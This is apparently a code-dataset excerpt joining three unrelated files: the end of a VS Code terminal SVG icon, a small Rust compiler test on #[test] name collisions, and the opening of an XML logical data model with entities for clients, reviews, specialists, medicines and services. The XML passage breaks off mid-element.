483.532 85.1909H482.167C482.288 86.3906 483.361 87.1333 485.005 87.1333C486.655 87.1333 487.868 86.2637 487.868 84.9814C487.868 83.9785 487.252 83.4136 485.938 83.1089L484.789 82.8423C484.04 82.6646 483.691 82.3979 483.691 81.9727C483.691 81.4141 484.269 81.0396 485.03 81.0396C485.805 81.0396 486.3 81.376 486.427 81.8901H487.734C487.601 80.6968 486.585 79.9731 485.03 79.9731C483.469 79.9731 482.345 80.8364 482.345 82.0361ZM489.575 87H490.94V82.9629C490.94 81.8838 491.562 81.1665 492.679 81.1665C493.644 81.1665 494.158 81.7314 494.158 82.8677V87H495.523V82.5439C495.523 80.9126 494.615 79.9795 493.143 79.9795C492.102 79.9795 491.372 80.4365 491.035 81.2046H490.927V77.4023H489.575V87Z" fill="var(--vscode-foreground)"/>
<path d="M504.12 30L499.56 34.56L500.44 35.44L505 30.88L509.56 35.44L510.44 34.56L505.88 30L510.44 25.44L509.56 24.56L505 29.12L500.44 24.56L499.56 25.44L504.12 30Z" fill="var(--vscode-foreground)"/>
<path d="M479.016 27.92L474.664 32.288L474.04 31.664L478.712 26.992H479.336L484.008 31.664L483.384 32.288L479.032 27.92H479.016Z" fill="var(--vscode-foreground)"/>
<path d="M459 28.992V30H453V36H452.008V30H446.008V28.992H452.008V22.992H453V28.992H459Z" fill="var(--vscode-foreground)"/>
</g>
<defs>
<filter id="filter0_d" x="0" y="0" width="575" height="279" filterUnits="userSpaceOnUse" color-interpolation-filters="sRGB">
<feFlood flood-opacity="0" result="BackgroundImageFix"/>
<feColorMatrix in="SourceAlpha" type="matrix" values="0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 127 0"/>
<feOffset dy="2"/>
<feGaussianBlur stdDeviation="6"/>
<feColorMatrix type="matrix" values="0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0.6 0"/>
<feBlend mode="normal" in2="BackgroundImageFix" result="effect1_dropShadow"/>
<feBlend mode="normal" in="SourceGraphic" in2="effect1_dropShadow" result="shape"/>
</filter>
<clipPath id="clip0">
<rect width="81" height="34" fill="white" transform="translate(20 15)"/>
</clipPath>
</defs>
</svg>
| SVG | 4 | sbj42/vscode | src/vs/workbench/contrib/welcomeGettingStarted/common/media/terminal.svg | [
"MIT"
] |
// run-pass
// compile-flags:--test
#![deny(private_in_public)]
#[test] fn foo() {}
mod foo {}
#[test] fn core() {}
extern crate core;
| Rust | 3 | Eric-Arellano/rust | src/test/ui/issues/issue-36768.rs | [
"ECL-2.0",
"Apache-2.0",
"MIT-0",
"MIT"
] |
<?xml version="1.0" encoding="UTF-8"?>
<LERModel ObjectType="4003" CSAOName="LERModel" CSAOCaption="Model" InternalVersion="20.11" ProductVersion="6.3.3.2" Version="1.20"><Id>{70254B51-C29E-4CE3-ADAB-D8F7BDF1332D}</Id><Name>Logical model</Name><Ordinal>0</Ordinal><GlobalOrder>0</GlobalOrder><ModelDefID>{CA753C22-0089-4892-8EEE-8B3A09EA8AD3}</ModelDefID><NamingConvFile></NamingConvFile><NameMode>0</NameMode><WorkSpaces><LERWorkSpace ObjectType="4501" CSAOName="LERWorkSpace" CSAOCaption="Workspace"><Id>{D6924E79-9A87-4A3A-8118-45D4E2A3EA42}</Id><Name>All Items</Name><Ordinal>0</Ordinal><GlobalOrder>0</GlobalOrder><GalleryItemID>{00000000-0000-0000-0000-000000000000}</GalleryItemID><GalleryID>{00000000-0000-0000-0000-000000000000}</GalleryID><GalleryObjectID>{00000000-0000-0000-0000-000000000000}</GalleryObjectID><PenWidth>1</PenWidth><PenColor>0</PenColor><BrushColor>15780518</BrushColor><FontCharset>238</FontCharset><FontColor>-16777208</FontColor><FontName>Arial</FontName><FontStyle>0</FontStyle><BackgroundColor>16777215</BackgroundColor><RecalculateSize>1</RecalculateSize><FullBackground>0</FullBackground><Shadow>1</Shadow><DisplayLineNames>1</DisplayLineNames><FontHeight>-28</FontHeight><Grid>0</Grid><GridVisible>0</GridVisible><GridSize>30</GridSize><Description></Description><EndType1>0</EndType1><EndType2>0</EndType2><ShapeList><LERWorkSpaceShapeEntity ObjectType="4502" CSAOName="LERWorkSpaceShapeEntity" CSAOCaption="Entity Shortcut"><Id>{376601EA-6DF4-4230-9EF2-6F806C28739B}</Id><Name>Клиент/E1</Name><Ordinal>0</Ordinal><GlobalOrder>0</GlobalOrder><GalleryItemID>{00000000-0000-0000-0000-000000000000}</GalleryItemID><GalleryID>{00000000-0000-0000-0000-000000000000}</GalleryID><GalleryObjectID>{00000000-0000-0000-0000-000000000000}</GalleryObjectID><ParentBaseID>{94F4B46F-E5E2-4FB0-8158-84124C735AB4}</ParentBaseID><PenWidth>1</PenWidth><PenColor>0</PenColor><BrushColor>15780518</BrushColor><FontCharset>238</FontCharset><FontColor>-16777208</FontColor><FontName>Arial</FontName><FontStyle>0</FontStyle><FormatLocked>0</FormatLocked><FontHeight>-28</FontHeight><ZOrder>-1</ZOrder><Top>1613</Top><Left>2794</Left><z>0</z><Width>718</Width><Height>276</Height><dz>0</dz><RecalculateSizes>0</RecalculateSizes><UseWorkSpaceRecalculateSizes>0</UseWorkSpaceRecalculateSizes><Shadow>1</Shadow><FullBackground>0</FullBackground><LineList><Id>{23058145-B4D0-4CA7-B051-305E1B358D95}</Id></LineList><Group/><DisplayDataType>0</DisplayDataType><DisplayMode>4</DisplayMode><GraphicalKey>1</GraphicalKey><Align>1</Align><DisplayDomainName>0</DisplayDomainName><Gradient>1</Gradient><DisplayUniqueIdentifierMark>1</DisplayUniqueIdentifierMark><DisplayMandatoryMark>1</DisplayMandatoryMark><EntityMinWidth>186</EntityMinWidth></LERWorkSpaceShapeEntity><LERWorkSpaceShapeEntity ObjectType="4502" CSAOName="LERWorkSpaceShapeEntity" CSAOCaption="Entity Shortcut"><Id>{56BF32B6-A1B1-4D55-A2BD-4E6CE781B1C1}</Id><Name>Отзыв_клиента/E2</Name><Ordinal>0</Ordinal><GlobalOrder>0</GlobalOrder><GalleryItemID>{00000000-0000-0000-0000-000000000000}</GalleryItemID><GalleryID>{00000000-0000-0000-0000-000000000000}</GalleryID><GalleryObjectID>{00000000-0000-0000-0000-000000000000}</GalleryObjectID><ParentBaseID>{BE9EB4C5-BF3A-4812-9AB1-82B7651D7D15}</ParentBaseID><PenWidth>1</PenWidth><PenColor>0</PenColor><BrushColor>15780518</BrushColor><FontCharset>238</FontCharset><FontColor>-16777208</FontColor><FontName>Arial</FontName><FontStyle>0</FontStyle><FormatLocked>0</FormatLocked><FontHeight>-28</FontHeight><ZOrder>0</ZOrder><Top>393</Top><Left>2511</Left><z>0</z><Width>718</Width><Height>300</Height><dz>0</dz><RecalculateSizes>0</RecalculateSizes><UseWorkSpaceRecalculateSizes>0</UseWorkSpaceRecalculateSizes><Shadow>1</Shadow><FullBackground>0</FullBackground><LineList><Id>{310F0AB0-9706-4F63-AC59-BD4AD121DAAD}</Id></LineList><Group/><DisplayDataType>0</DisplayDataType><DisplayMode>4</DisplayMode><GraphicalKey>1</GraphicalKey><Align>1</Align><DisplayDomainName>0</DisplayDomainName><Gradient>1</Gradient><DisplayUniqueIdentifierMark>1</DisplayUniqueIdentifierMark><DisplayMandatoryMark>1</DisplayMandatoryMark><EntityMinWidth>186</EntityMinWidth></LERWorkSpaceShapeEntity><LERWorkSpaceShapeEntity ObjectType="4502" CSAOName="LERWorkSpaceShapeEntity" CSAOCaption="Entity Shortcut"><Id>{85D629EF-EBAB-42E7-AFCE-248B0F243908}</Id><Name>Специалисты/E3</Name><Ordinal>0</Ordinal><GlobalOrder>0</GlobalOrder><GalleryItemID>{00000000-0000-0000-0000-000000000000}</GalleryItemID><GalleryID>{00000000-0000-0000-0000-000000000000}</GalleryID><GalleryObjectID>{00000000-0000-0000-0000-000000000000}</GalleryObjectID><ParentBaseID>{0FA66A00-8C98-4BAC-AEE8-D8DDC53C1E54}</ParentBaseID><PenWidth>1</PenWidth><PenColor>0</PenColor><BrushColor>15780518</BrushColor><FontCharset>238</FontCharset><FontColor>-16777208</FontColor><FontName>Arial</FontName><FontStyle>0</FontStyle><FormatLocked>0</FormatLocked><FontHeight>-28</FontHeight><ZOrder>0</ZOrder><Top>871</Top><Left>300</Left><z>0</z><Width>729</Width><Height>303</Height><dz>0</dz><RecalculateSizes>0</RecalculateSizes><UseWorkSpaceRecalculateSizes>0</UseWorkSpaceRecalculateSizes><Shadow>1</Shadow><FullBackground>0</FullBackground><LineList><Id>{29166A23-5EF9-46F5-A046-B06BB46D20DD}</Id></LineList><Group/><DisplayDataType>0</DisplayDataType><DisplayMode>4</DisplayMode><GraphicalKey>1</GraphicalKey><Align>1</Align><DisplayDomainName>0</DisplayDomainName><Gradient>1</Gradient><DisplayUniqueIdentifierMark>1</DisplayUniqueIdentifierMark><DisplayMandatoryMark>1</DisplayMandatoryMark><EntityMinWidth>186</EntityMinWidth></LERWorkSpaceShapeEntity><LERWorkSpaceShapeEntity ObjectType="4502" CSAOName="LERWorkSpaceShapeEntity" CSAOCaption="Entity Shortcut"><Id>{CD70DFE2-30A5-4735-AF88-10BC495D7F5C}</Id><Name>Лекарство/E4</Name><Ordinal>0</Ordinal><GlobalOrder>0</GlobalOrder><GalleryItemID>{00000000-0000-0000-0000-000000000000}</GalleryItemID><GalleryID>{00000000-0000-0000-0000-000000000000}</GalleryID><GalleryObjectID>{00000000-0000-0000-0000-000000000000}</GalleryObjectID><ParentBaseID>{CC0EF109-7AC6-40E2-A89D-2258021E142C}</ParentBaseID><PenWidth>1</PenWidth><PenColor>0</PenColor><BrushColor>15780518</BrushColor><FontCharset>238</FontCharset><FontColor>-16777208</FontColor><FontName>Arial</FontName><FontStyle>0</FontStyle><FormatLocked>0</FormatLocked><FontHeight>-28</FontHeight><ZOrder>0</ZOrder><Top>279</Top><Left>691</Left><z>0</z><Width>789</Width><Height>368</Height><dz>0</dz><RecalculateSizes>0</RecalculateSizes><UseWorkSpaceRecalculateSizes>0</UseWorkSpaceRecalculateSizes><Shadow>1</Shadow><FullBackground>0</FullBackground><LineList><Id>{A4CD669D-D71B-4586-82C3-0FB5F5E25631}</Id></LineList><Group/><DisplayDataType>0</DisplayDataType><DisplayMode>4</DisplayMode><GraphicalKey>1</GraphicalKey><Align>1</Align><DisplayDomainName>0</DisplayDomainName><Gradient>1</Gradient><DisplayUniqueIdentifierMark>1</DisplayUniqueIdentifierMark><DisplayMandatoryMark>1</DisplayMandatoryMark><EntityMinWidth>186</EntityMinWidth></LERWorkSpaceShapeEntity><LERWorkSpaceShapeEntity ObjectType="4502" CSAOName="LERWorkSpaceShapeEntity" CSAOCaption="Entity Shortcut"><Id>{20B6AFCE-9F74-465F-BAA8-6AB85A4BCF5D}</Id><Name>Услуга/E5</Name><Ordinal>0</Ordinal><GlobalOrder>0</GlobalOrder><GalleryItemID>{00000000-0000-0000-0000-000000000000}</GalleryItemID><GalleryID>{00000000-0000-0000-0000-000000000000}</GalleryID><GalleryObjectID>{00000000-0000-0000-0000-000000000000}</GalleryObjectID><ParentBaseID>{001673AF-3210-439C-BCE5-7FC4C5C38F3C}</ParentBaseID><PenWidth>1</PenWidth><PenColor>0</PenColor><BrushColor>15780518</BrushColor><FontCharset>238</FontCharset><FontColor>-16777208</FontColor><FontName>Arial</FontName><FontStyle>0</FontStyle><FormatLocked>0</FormatLocked><FontHeight>-28</FontHeight><ZOrder>0</ZOrder><Top>875</Top><Left>1538</Left><z>0</z><Width>729</Width><Height>334</Height><dz>0</dz><RecalculateSizes>0</RecalculateSizes><UseWorkSpaceRecalculateSizes>0</UseWorkSpaceRecalculateSizes><Shadow>1</Shadow><FullBackground>0</FullBackground><LineList><Id>{29166A23-5EF9-46F5-A046-B06BB46D20DD}</Id><Id>{A4CD669D-D71B-4586-82C3-0FB5F5E25631}</Id><Id>{5549EF2B-0006-4812-A3EF-7F05D008C06E}</Id></LineList><Group/><DisplayDataType>0</DisplayDataType><DisplayMode>4</DisplayMode><GraphicalKey>1</GraphicalKey><Align>1</Align><DisplayDomainName>0</DisplayDomainName><Gradient>1</Gradient><DisplayUniqueIdentifierMark>1</DisplayUniqueIdentifierMark><DisplayMandatoryMark>1</DisplayMandatoryMark><EntityMinWidth>186</EntityMinWidth></LERWorkSpaceShapeEntity><LERWorkSpaceShapeEntity ObjectType="4502" CSAOName="LERWorkSpaceShapeEntity" CSAOCaption="Entity Shortcut"><Id>{964E8742-1797-4289-AB0D-BF99EADC848F}</Id><Name>Реализация_услуг/E6</Name><Ordinal>0</Ordinal><GlobalOrder>0</GlobalOrder><GalleryItemID>{00000000-0000-0000-0000-000000000000}</GalleryItemID><GalleryID>{00000000-0000-0000-0000-000000000000}</GalleryID><GalleryObjectID>{00000000-0000-0000-0000-000000000000}</GalleryObjectID><ParentBaseID>{29727F91-4E17-4EAB-B8C1-22C9F25A17A1}</ParentBaseID><PenWidth>1</PenWidth><PenColor>0</PenColor><BrushColor>15780518</BrushColor><FontCharset>238</FontCharset><FontColor>-16777208</FontColor><FontName>Arial</FontName><FontStyle>0</FontStyle><FormatLocked>0</FormatLocked><FontHeight>-28</FontHeight><ZOrder>0</ZOrder><Top>1085</Top><Left>2806</Left><z>0</z><Width>706</Width><Height>315</Height><dz>0</dz><RecalculateSizes>0</RecalculateSizes><UseWorkSpaceRecalculateSizes>0</UseWorkSpaceRecalculateSizes><Shadow>1</Shadow><FullBackground>0</FullBackground><LineList><Id>{310F0AB0-9706-4F63-AC59-BD4AD121DAAD}</Id><Id>{5549EF2B-0006-4812-A3EF-7F05D008C06E}</Id><Id>{23058145-B4D0-4CA7-B051-305E1B358D95}</Id></LineList><Group/><DisplayDataType>0</DisplayDataType><DisplayMode>4</DisplayMode><GraphicalKey>1</GraphicalKey><Align>1</Align><DisplayDomainName>0</DisplayDomainName><Gradient>1</Gradient><DisplayUniqueIdentifierMark>1</DisplayUniqueIdentifierMark><DisplayMandatoryMark>1</DisplayMandatoryMark><EntityMinWidth>186</EntityMinWidth></LERWorkSpaceShapeEntity><WorkSpaceShapeSimpleText ObjectType="1509" CSAOName="WorkSpaceShapeSimpleText" CSAOCaption="Simple Text Shortcut"><Id>{7CBAC854-3484-40D4-9A50-0CA9298DA433}</Id><Name>Text3</Name><Ordinal>0</Ordinal><GlobalOrder>0</GlobalOrder><GalleryItemID>{00000000-0000-0000-0000-000000000000}</GalleryItemID><GalleryID>{00000000-0000-0000-0000-000000000000}</GalleryID><GalleryObjectID>{00000000-0000-0000-0000-000000000000}</GalleryObjectID><ParentBaseID>{0C857955-D750-421A-9EC6-DEADA5760BD2}</ParentBaseID><PenWidth>1</PenWidth><PenColor>0</PenColor><BrushColor>15780518</BrushColor><FontCharset>238</FontCharset><FontColor>-16777208</FontColor><FontName>Arial</FontName><FontStyle>0</FontStyle><FormatLocked>0</FormatLocked><FontHeight>-28</FontHeight><ZOrder>0</ZOrder><Top>1684</Top><Left>2806</Left><z>0</z><Width>783</Width><Height>169</Height><dz>0</dz><RecalculateSizes>1</RecalculateSizes><UseWorkSpaceRecalculateSizes>1</UseWorkSpaceRecalculateSizes><Shadow>1</Shadow><FullBackground>0</FullBackground><Group/></WorkSpaceShapeSimpleText><WorkSpaceShapeSimpleText ObjectType="1509" CSAOName="WorkSpaceShapeSimpleText" CSAOCaption="Simple Text Shortcut"><Id>{47BC137A-D3C5-42E2-873B-B707D260F4C8}</Id><Name>Text4</Name><Ordinal>0</Ordinal><GlobalOrder>0</GlobalOrder><GalleryItemID>{00000000-0000-0000-0000-000000000000}</GalleryItemID><GalleryID>{00000000-0000-0000-0000-000000000000}</GalleryID><GalleryObjectID>{00000000-0000-0000-0000-000000000000}</GalleryObjectID><ParentBaseID>{B4756FE6-72C4-43ED-BD1D-B5F73B6C6326}</ParentBaseID><PenWidth>1</PenWidth><PenColor>0</PenColor><BrushColor>15780518</BrushColor><FontCharset>238</FontCharset><FontColor>-16777208</FontColor><FontName>Arial</FontName><FontStyle>0</FontStyle><FormatLocked>0</FormatLocked><FontHeight>-28</FontHeight><ZOrder>1</ZOrder><Top>445</Top><Left>2525</Left><z>0</z><Width>771</Width><Height>128</Height><dz>0</dz><RecalculateSizes>1</RecalculateSizes><UseWorkSpaceRecalculateSizes>1</UseWorkSpaceRecalculateSizes><Shadow>1</Shadow><FullBackground>0</FullBackground><Group/></WorkSpaceShapeSimpleText><WorkSpaceShapeSimpleText ObjectType="1509" CSAOName="WorkSpaceShapeSimpleText" CSAOCaption="Simple Text Shortcut"><Id>{BC72D4D9-8383-4AC4-8139-07A43B58F322}</Id><Name>Text5</Name><Ordinal>0</Ordinal><GlobalOrder>0</GlobalOrder><GalleryItemID>{00000000-0000-0000-0000-000000000000}</GalleryItemID><GalleryID>{00000000-0000-0000-0000-000000000000}</GalleryID><GalleryObjectID>{00000000-0000-0000-0000-000000000000}</GalleryObjectID><ParentBaseID>{5AF4514E-C9CC-4832-9C56-7F5642BD54D4}</ParentBaseID><PenWidth>1</PenWidth><PenColor>0</PenColor><BrushColor>15780518</BrushColor><FontCharset>238</FontCharset><FontColor>-16777208</FontColor><FontName>Arial</FontName><FontStyle>0</FontStyle><FormatLocked>0</FormatLocked><FontHeight>-28</FontHeight><ZOrder>1</ZOrder><Top>1162</Top><Left>2855</Left><z>0</z><Width>636</Width><Height>169</Height><dz>0</dz><RecalculateSizes>1</RecalculateSizes><UseWorkSpaceRecalculateSizes>1</UseWorkSpaceRecalculateSizes><Shadow>1</Shadow><FullBackground>0</FullBackground><Group/></WorkSpaceShapeSimpleText><WorkSpaceShapeSimpleText ObjectType="1509" CSAOName="WorkSpaceShapeSimpleText" CSAOCaption="Simple Text Shortcut"><Id>{7A2F75D1-521B-4655-82A3-C2A9E4C12403}</Id><Name>Text6</Name><Ordinal>0</Ordinal><GlobalOrder>0</GlobalOrder><GalleryItemID>{00000000-0000-0000-0000-000000000000}</GalleryItemID><GalleryID>{00000000-0000-0000-0000-000000000000}</GalleryID><GalleryObjectID>{00000000-0000-0000-0000-000000000000}</GalleryObjectID><ParentBaseID>{B5401688-5216-40DE-8820-29872B065DF5}</ParentBaseID><PenWidth>1</PenWidth><PenColor>0</PenColor><BrushColor>15780518</BrushColor><FontCharset>238</FontCharset><FontColor>-16777208</FontColor><FontName>Arial</FontName><FontStyle>0</FontStyle><FormatLocked>0</FormatLocked><FontHeight>-28</FontHeight><ZOrder>1</ZOrder><Top>921</Top><Left>311</Left><z>0</z><Width>696</Width><Height>210</Height><dz>0</dz><RecalculateSizes>0</RecalculateSizes><UseWorkSpaceRecalculateSizes>0</UseWorkSpaceRecalculateSizes><Shadow>1</Shadow><FullBackground>0</FullBackground><Group/></WorkSpaceShapeSimpleText><WorkSpaceShapeSimpleText ObjectType="1509" CSAOName="WorkSpaceShapeSimpleText" CSAOCaption="Simple Text Shortcut"><Id>{F0FBAB04-CB1E-4EC8-AC2F-A84313011AEA}</Id><Name>Text7</Name><Ordinal>0</Ordinal><GlobalOrder>0</GlobalOrder><GalleryItemID>{00000000-0000-0000-0000-000000000000}</GalleryItemID><GalleryID>{00000000-0000-0000-0000-000000000000}</GalleryID><GalleryObjectID>{00000000-0000-0000-0000-000000000000}</GalleryObjectID><ParentBaseID>{3B4A794A-2B36-4A51-91D8-54929969169D}</ParentBaseID><PenWidth>1</PenWidth><PenColor>0</PenColor><BrushColor>15780518</BrushColor><FontCharset>238</FontCharset><FontColor>-16777208</FontColor><FontName>Arial</FontName><FontStyle>0</FontStyle><FormatLocked>0</FormatLocked><FontHeight>-28</FontHeight><ZOrder>1</ZOrder><Top>952</Top><Left>1555</Left><z>0</z><Width>796</Width><Height>210</Height><dz>0</dz><RecalculateSizes>1</RecalculateSizes><UseWorkSpaceRecalculateSizes>1</UseWorkSpaceRecalculateSizes><Shadow>1</Shadow><FullBackground>0</FullBackground><Group/></WorkSpaceShapeSimpleText><WorkSpaceShapeSimpleText ObjectType="1509" CSAOName="WorkSpaceShapeSimpleText" CSAOCaption="Simple Text Shortcut"><Id>{D6F46F82-6009-4E7C-9A2A-8CC0551FE88C}</Id><Name>Text8</Name><Ordinal>0</Ordinal><GlobalOrder>0</GlobalOrder><GalleryItemID>{00000000-0000-0000-0000-000000000000}</GalleryItemID><GalleryID>{00000000-0000-0000-0000-000000000000}</GalleryID><GalleryObjectID>{00000000-0000-0000-0000-000000000000}</GalleryObjectID><ParentBaseID>{CE242F55-A3B7-4007-A993-CBDF7FDB0312}</ParentBaseID><PenWidth>1</PenWidth><PenColor>0</PenColor><BrushColor>15780518</BrushColor><FontCharset>238</FontCharset><FontColor>-16777208</FontColor><FontName>Arial</FontName><FontStyle>0</FontStyle><FormatLocked>0</FormatLocked><FontHeight>-28</FontHeight><ZOrder>1</ZOrder><Top>337</Top><Left>738</Left><z>0</z><Width>789</Width><Height>292</Height><dz>0</dz><RecalculateSizes>1</RecalculateSizes><UseWorkSpaceRecalculateSizes>1</UseWorkSpaceRecalculateSizes><Shadow>1</Shadow><FullBackground>0</FullBackground><Group/></WorkSpaceShapeSimpleText></ShapeList><LineList><LERWorkSpaceLineRelation ObjectType="4503" CSAOName="LERWorkSpaceLineRelation" CSAOCaption="Relation Shortcut"><Id>{29166A23-5EF9-46F5-A046-B06BB46D20DD}</Id><Name>Обслуживает</Name><Ordinal>0</Ordinal><GlobalOrder>0</GlobalOrder><GalleryItemID>{00000000-0000-0000-0000-000000000000}</GalleryItemID><GalleryID>{00000000-0000-0000-0000-000000000000}</GalleryID><GalleryObjectID>{00000000-0000-0000-0000-000000000000}</GalleryObjectID><ParentBaseID>{08AE0C5A-CFEE-4593-9F22-AAD7F955B6A2}</ParentBaseID><PenWidth>1</PenWidth><PenColor>0</PenColor><BrushColor>15780518</BrushColor><FontCharset>238</FontCharset><FontColor>-16777208</FontColor><FontName>Arial</FontName><FontStyle>0</FontStyle><FormatLocked>0</FormatLocked><FontHeight>-28</FontHeight><ZOrder>-10</ZOrder><LockPointsInRightAngledMode>0</LockPointsInRightAngledMode><RightAngledLine>0</RightAngledLine><WorkSpaceShape1><Id>{85D629EF-EBAB-42E7-AFCE-248B0F243908}</Id></WorkSpaceShape1><WorkSpaceShape2><Id>{20B6AFCE-9F74-465F-BAA8-6AB85A4BCF5D}</Id></WorkSpaceShape2><NamePositionY>938</NamePositionY><NamePositionX>1183</NamePositionX><Points><Point><x>1029</x><y>1028</y></Point><Point><x>1538</x><y>1028</y></Point></Points></LERWorkSpaceLineRelation><LERWorkSpaceLineRelation ObjectType="4503" CSAOName="LERWorkSpaceLineRelation" CSAOCaption="Relation Shortcut"><Id>{A4CD669D-D71B-4586-82C3-0FB5F5E25631}</Id><Name>Обеспечивает/Пользуется</Name><Ordinal>0</Ordinal><GlobalOrder>0</GlobalOrder><GalleryItemID>{00000000-0000-0000-0000-000000000000}</GalleryItemID><GalleryID>{00000000-0000-0000-0000-000000000000}</GalleryID><GalleryObjectID>{00000000-0000-0000-0000-000000000000}</GalleryObjectID><ParentBaseID>{E135E7C9-5814-432C-8A35-83E6C161FAE8}</ParentBaseID><PenWidth>1</PenWidth><PenColor>0</PenColor><BrushColor>15780518</BrushColor><FontCharset>238</FontCharset><FontColor>-16777208</FontColor><FontName>Arial</FontName><FontStyle>0</FontStyle><FormatLocked>0</FormatLocked><FontHeight>-28</FontHeight><ZOrder>-10</ZOrder><LockPointsInRightAngledMode>0</LockPointsInRightAngledMode><RightAngledLine>0</RightAngledLine><WorkSpaceShape1><Id>{CD70DFE2-30A5-4735-AF88-10BC495D7F5C}</Id></WorkSpaceShape1><WorkSpaceShape2><Id>{20B6AFCE-9F74-465F-BAA8-6AB85A4BCF5D}</Id></WorkSpaceShape2><NamePositionY>574</NamePositionY><NamePositionX>1714</NamePositionX><Points><Point><x>1480</x><y>430</y></Point><Point><x>1732</x><y>430</y></Point><Point><x>1732</x><y>875</y></Point></Points></LERWorkSpaceLineRelation><LERWorkSpaceLineRelation ObjectType="4503" CSAOName="LERWorkSpaceLineRelation" CSAOCaption="Relation Shortcut"><Id>{310F0AB0-9706-4F63-AC59-BD4AD121DAAD}</Id><Name>Описывает</Name><Ordinal>0</Ordinal><GlobalOrder>0</GlobalOrder><GalleryItemID>{00000000-0000-0000-0000-000000000000}</GalleryItemID><GalleryID>{00000000-0000-0000-0000-000000000000}</GalleryID><GalleryObjectID>{00000000-0000-0000-0000-000000000000}</GalleryObjectID><ParentBaseID>{C11B67D4-D31A-4D80-891C-99FC606119D0}</ParentBaseID><PenWidth>1</PenWidth><PenColor>0</PenColor><BrushColor>15780518</BrushColor><FontCharset>238</FontCharset><FontColor>-16777208</FontColor><FontName>Arial</FontName><FontStyle>0</FontStyle><FormatLocked>0</FormatLocked><FontHeight>-28</FontHeight><ZOrder>-10</ZOrder><LockPointsInRightAngledMode>0</LockPointsInRightAngledMode><RightAngledLine>0</RightAngledLine><WorkSpaceShape1><Id>{56BF32B6-A1B1-4D55-A2BD-4E6CE781B1C1}</Id></WorkSpaceShape1><WorkSpaceShape2><Id>{964E8742-1797-4289-AB0D-BF99EADC848F}</Id></WorkSpaceShape2><NamePositionY>784</NamePositionY><NamePositionX>2852</NamePositionX><Points><Point><x>2838</x><y>693</y></Point><Point><x>2838</x><y>869</y></Point><Point><x>3095</x><y>869</y></Point><Point><x>3095</x><y>1085</y></Point></Points></LERWorkSpaceLineRelation><LERWorkSpaceLineRelation ObjectType="4503" CSAOName="LERWorkSpaceLineRelation" CSAOCaption="Relation Shortcut"><Id>{5549EF2B-0006-4812-A3EF-7F05D008C06E}</Id><Name>Завершает</Name><Ordinal>0</Ordinal><GlobalOrder>0</GlobalOrder><GalleryItemID>{00000000-0000-0000-0000-000000000000}</GalleryItemID><GalleryID>{00000000-0000-0000-0000-000000000000}</GalleryID><GalleryObjectID>{00000000-0000-0000-0000-000000000000}</GalleryObjectID><ParentBaseID>{9943CB21-3B3B-4F99-BEDD-271C4C0FEE07}</ParentBaseID><PenWidth>1</PenWidth><PenColor>0</PenColor><BrushColor>15780518</BrushColor><FontCharset>238</FontCharset><FontColor>-16777208</FontColor><FontName>Arial</FontName><FontStyle>0</FontStyle><FormatLocked>0</FormatLocked><FontHeight>-28</FontHeight><ZOrder>-10</ZOrder><LockPointsInRightAngledMode>0</LockPointsInRightAngledMode><RightAngledLine>0</RightAngledLine><WorkSpaceShape1><Id>{20B6AFCE-9F74-465F-BAA8-6AB85A4BCF5D}</Id></WorkSpaceShape1><WorkSpaceShape2><Id>{964E8742-1797-4289-AB0D-BF99EADC848F}</Id></WorkSpaceShape2><NamePositionY>1110</NamePositionY><NamePositionX>2469</NamePositionX><Points><Point><x>2267</x><y>949</y></Point><Point><x>2487</x><y>949</y></Point><Point><x>2487</x><y>1331</y></Point><Point><x>2806</x><y>1331</y></Point></Points></LERWorkSpaceLineRelation><LERWorkSpaceLineRelation ObjectType="4503" CSAOName="LERWorkSpaceLineRelation" CSAOCaption="Relation Shortcut"><Id>{23058145-B4D0-4CA7-B051-305E1B358D95}</Id><Name>Пользуется</Name><Ordinal>0</Ordinal><GlobalOrder>0</GlobalOrder><GalleryItemID>{00000000-0000-0000-0000-000000000000}</GalleryItemID><GalleryID>{00000000-0000-0000-0000-000000000000}</GalleryID><GalleryObjectID>{00000000-0000-0000-0000-000000000000}</GalleryObjectID><ParentBaseID>{7C13A800-4123-4038-B580-69BA2247AE13}</ParentBaseID><PenWidth>1</PenWidth><PenColor>0</PenColor><BrushColor>15780518</BrushColor><FontCharset>238</FontCharset><FontColor>-16777208</FontColor><FontName>Arial</FontName><FontStyle>0</FontStyle><FormatLocked>0</FormatLocked><FontHeight>-28</FontHeight><ZOrder>-10</ZOrder><LockPointsInRightAngledMode>0</LockPointsInRightAngledMode><RightAngledLine>0</RightAngledLine><WorkSpaceShape1><Id>{376601EA-6DF4-4230-9EF2-6F806C28739B}</Id></WorkSpaceShape1><WorkSpaceShape2><Id>{964E8742-1797-4289-AB0D-BF99EADC848F}</Id></WorkSpaceShape2><NamePositionY>1470</NamePositionY><NamePositionX>3297</NamePositionX><Points><Point><x>3254</x><y>1613</y></Point><Point><x>3254</x><y>1400</y></Point></Points></LERWorkSpaceLineRelation></LineList><Page><WorkSpacePage ObjectType="1511" CSAOName="WorkSpacePage" CSAOCaption="Workspace Page"><Id>{DB9FE22D-C2FB-4EFA-BEF0-DA32A0963C09}</Id><Name>Page Format</Name><Ordinal>0</Ordinal><GlobalOrder>0</GlobalOrder><Zoom>100</Zoom><FitToPage>0</FitToPage><Orientation>0</Orientation><HeightDec>2970</HeightDec><WidthDec>2100</WidthDec><MarginBottomDec>150</MarginBottomDec><MarginLeftDec>150</MarginLeftDec><MarginRightDec>150</MarginRightDec><MarginTopDec>150</MarginTopDec></WorkSpacePage></Page><Align>1</Align><DisplayDataType>0</DisplayDataType><GraphicalKey>1</GraphicalKey><DisplayMode>4</DisplayMode><DisplayDomainName>0</DisplayDomainName><AutoFill>1</AutoFill><Notation>1</Notation><Gradient>1</Gradient><DisplayMandatoryMark>1</DisplayMandatoryMark><DisplayUniqueIdentifierMark>1</DisplayUniqueIdentifierMark><EntityMinWidth>186</EntityMinWidth></LERWorkSpace></WorkSpaces><ModelTitle><ModelTitle ObjectType="1011" CSAOName="ModelTitle" CSAOCaption="Model Title"><Id>{DD0C009A-BD23-4F40-8C60-B52E72FCBA9E}</Id><Ordinal>0</Ordinal><GlobalOrder>0</GlobalOrder><GalleryItemID>{00000000-0000-0000-0000-000000000000}</GalleryItemID><GalleryID>{00000000-0000-0000-0000-000000000000}</GalleryID><GalleryObjectID>{00000000-0000-0000-0000-000000000000}</GalleryObjectID><ModelName>Logical 